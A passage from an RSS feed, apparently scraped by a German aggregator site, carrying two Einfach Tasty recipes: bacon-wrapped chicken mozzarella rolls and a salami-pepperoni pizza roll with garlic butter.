										<content:encoded><![CDATA[<div><img decoding="async" src="https://img.buzzfeed.com/buzzfeed-static/static/2018-05/22/4/enhanced/buzzfeed-prod-web-02/original-24235-1526977733-3.jpg?crop=914:478;0,0" class="ff-og-image-inserted"></div>
<div class="subbuzz subbuzz-image
  
  
  
  xs-mb4 xs-relative xs-mb1" data-module="subbuzz-image"></p>
<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text">REZEPT: Bacon-H&auml;hnchen-Mozzarellasticks</span></p>
</h3>
<figure class="subbuzz__media">
<div class="flex xs-flex-column">
<div class="subbuzz__description
  
    subbuzz__description--standard
  "></p>
<p><b>ZUTATEN</b></p>
<p>F&uuml;r die Glasur:</p>
<p>450g Ketchup</p>
<p>225g Tomatensauce</p>
<p>240ml Apfelesseig</p>
<p>1TL Senf</p>
<p>100g brauner Zucker</p>
<p>100g Zucker</p>
<p>8 H&uuml;hnchenfilets</p>
<p>Petersilie</p>
<p>Mozzarella</p>
<p>Bacon</p>
</div></div>
</figure>
</div>
<div class="subbuzz subbuzz-text
  
  
  
  xs-mb4 xs-relative " data-module="subbuzz-text"></p>
<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text">ZUBEREITUNG</span></p>
</h3>
<p>1. Ketchup, Tomatensauce, Apfelessig, Senf, braunen Zucker und normalen Zucker in eine gro&szlig;e Sch&uuml;ssel geben.</p>
<p>2. Gut umr&uuml;hren.</p>
<p>3. Einen Teil der Sauce auf zwei kleinere Sch&uuml;sseln aufteilen. Circa 120 ml f&uuml;r die Glasur und 120ml f&uuml;r den Dip.</p>
<p>4. Dann die H&uuml;hnchenfilets der L&auml;nge nach in der Mitte aufschneiden. Aber pass auf, dass du sie nicht komplett durchschneidest und teilst.</p>
<p>5. Frischhaltefolie &uuml;ber die Filets legen und mit einem Fleischkopfer platt klopfen.</p>
<p>6. Nun wende die Filets in der gro&szlig;en Schale in der Saucen-Mischung.</p>
<p>7. Lass die Filetes dann darin liegen, decke die Schale gut ab und stelle sie f&uuml;r eine Stunde kalt.</p>
<p>8. Breite die Filets auf einer Ablage aus, wickel ein St&uuml;ckchen Mozzarella darin ein und umwickel das K&auml;sest&uuml;ck wieder mit dem Filet.</p>
<p>9. Und nun zum Bacon. Jetzt umwickelst du diie H&auml;hnchenfilet-Rolle mit dem Bacon.</p>
<p>10. Alles auf ein Backblech legen und bei 200&deg;C f&uuml;r circa 20 Minuten backen. Nach 10 Minuten wendest du allerdings einmal die Filet-R&ouml;llchen.</p>
<p>11. Jetzt schnappst du dir die zur Seite gestellte Glasur und streichst deine R&ouml;llchen damit kurz ein.</p>
<p>12. Nun alles f&uuml;r weitere10 Minuten bei 200&deg;C backen.</p>
<p>13. Mit Petersilie garnieren.</p>
</div>
<div class="subbuzz subbuzz-image
  
  
  
  xs-mb4 xs-relative xs-mb1" data-module="subbuzz-image"></p>
<h3 class="subbuzz__title  xs-mb1 bold">
<p>      <span class="js-subbuzz__title-text"><a target="_blank" href="https://www.youtube.com/channel/UCxoQAL9QLG1MYQ6QR3CTLpw?view_as=subscriber" target="_blank" data-skimlinks-tracking="4829996">HIER</a> folgst du Einfach Tasty auf Youtube und <a target="_blank" href="https://www.facebook.com/EinfachTasty/" target="_blank" data-skimlinks-tracking="4829996">HIER</a> folgst du Einfach Tasty auf Facebook.</span></p>
</h3>
<figure class="subbuzz__media">
</figure>
</div>
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<p><strong><a target="_blank" href="https://blockads.fivefilters.org">Let&#8217;s block ads!</a></strong> <a target="_blank" href="https://blockads.fivefilters.org/acceptable.html">(Why?)</a></p>
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		<title>Folge uns auf unserem neuen EINFACH TASTY Youtube-Kanal!</title>
		<link>https://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-2/</link>
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		<dc:creator><![CDATA[martin]]></dc:creator>
		<pubDate>Sun, 08 Apr 2018 18:47:29 +0000</pubDate>
				<category><![CDATA[Entertainment]]></category>
		<category><![CDATA[einfach]]></category>
		<category><![CDATA[Folge]]></category>
		<category><![CDATA[NEUEN]]></category>
		<category><![CDATA[Tasty]]></category>
		<category><![CDATA[unserem]]></category>
		<category><![CDATA[YouTubeKanal]]></category>
		<guid isPermaLink="false">http://briefnews.eu/folge-uns-auf-unserem-neuen-einfach-tasty-youtube-kanal-2/</guid>

					<description><![CDATA[ZUTATEN Portionen: 6-8 Pizza Roll 1 Packung Pizzateig 1 Packung Pepperoni (rund 30 kleine Scheibchen) 1 Packung Salami (rund 30 kleine Scheibchen) 8 Scheiben Mozzarella 110g geriebener Mozzarella 1 Glas Pizza-Sauce 175g geröstete Paprika ½ EL Paprikaflocken 1Tl Oregano Knoblauchbutter 4 EL geschmolzene Butter 2 Knoblauchzehen 2 EL Petersilie 1 TL Pfeffer 1 TL Salz [&#8230;]]]></description>
										<content:encoded><![CDATA[<div><img decoding="async" src="http://briefnews.eu/wp-content/plugins/WPRobot3.26/images/8c6e3__mit-dieser-unglaublich-kostlichen-pizza-roll-wird-2-11566-1513773971-0_dblbig.jpg" class="ff-og-image-inserted"></div>
<div data-module="subbuzz-text" readability="27.323467230444">
<h3 class="subbuzz__title  xs-mb1 bold"><span class="js-subbuzz__title-text">ZUTATEN</span></h3>
<p>Portionen: 6-8 </p>
<p><b>Pizza Roll</b></p>
<p>1 Packung Pizzateig </p>
<p>1 Packung Pepperoni (rund 30 kleine Scheibchen)</p>
<p>1 Packung Salami (rund 30 kleine Scheibchen) </p>
<p>8 Scheiben Mozzarella</p>
<p>110g geriebener Mozzarella</p>
<p>1 Glas Pizza-Sauce </p>
<p>175g geröstete Paprika </p>
<p>½ EL Paprikaflocken </p>
<p>1Tl Oregano </p>
<p><b>Knoblauchbutter</b></p>
<p>4 EL geschmolzene Butter</p>
<p>2 Knoblauchzehen</p>
<p>2 EL Petersilie</p>
<p>1 TL Pfeffer </p>
<p>1 TL Salz</p>
</div>
<div data-module="subbuzz-text" readability="49.142857142857">
<h3 class="subbuzz__title  xs-mb1 bold"><span class="js-subbuzz__title-text">ZUBEREITUNG</span></h3>
<p>1. Den Pizzateig aus der Packung nehmen. Ein Backblech mit Mehl bestreuen und den Teig dann darauf in die gewünschte Größe ausrollen. </p>
<p>2. Pepperoni, Mozzarella und Salami in abwechselnder Reihenfolge auf den Teig legen, bis er vollkommen bedeckt ist. Nur an den Außenrändern des Teigs etwa 4 cm aussparen. </p>
<p>3. Gegrillte Paprika, geriebenen Mozzarella, rote Chiliflocken und Oregano über die Wurst und den Käse geben.</p>
<p>4. Den Pizzateig langsam aufrollen.</p>
<p>5. Dann geschmolzene Butter, Knoblauch, Petersilie, Salz und Pfeffer in einer kleinen Schüssel verrrühren. Die Buttermischung mit einem Backpinsel auf die Pizza Roll auftragen und dabei alle Seiten gleichmäßig bedecken. </p>
<p>6. Die Rolle bei 200°C ungefähr 15 bis 20 Minuten backen oder bis sie goldbraun ist.</p>
<p>7. Und jetzt einfach nur noch genießen!</p>
</div>
<div data-module="subbuzz-text" readability="26.181818181818">
<p><i>Dieser Artikel erschien zuerst auf <a target="_blank" rel="nofollow" href="https://www.buzzfeed.com/pierceabernathy/cheesy-pizza-roll-up" data-skimlinks-tracking="4465218">Englisch</a>.</i></p>
</div>
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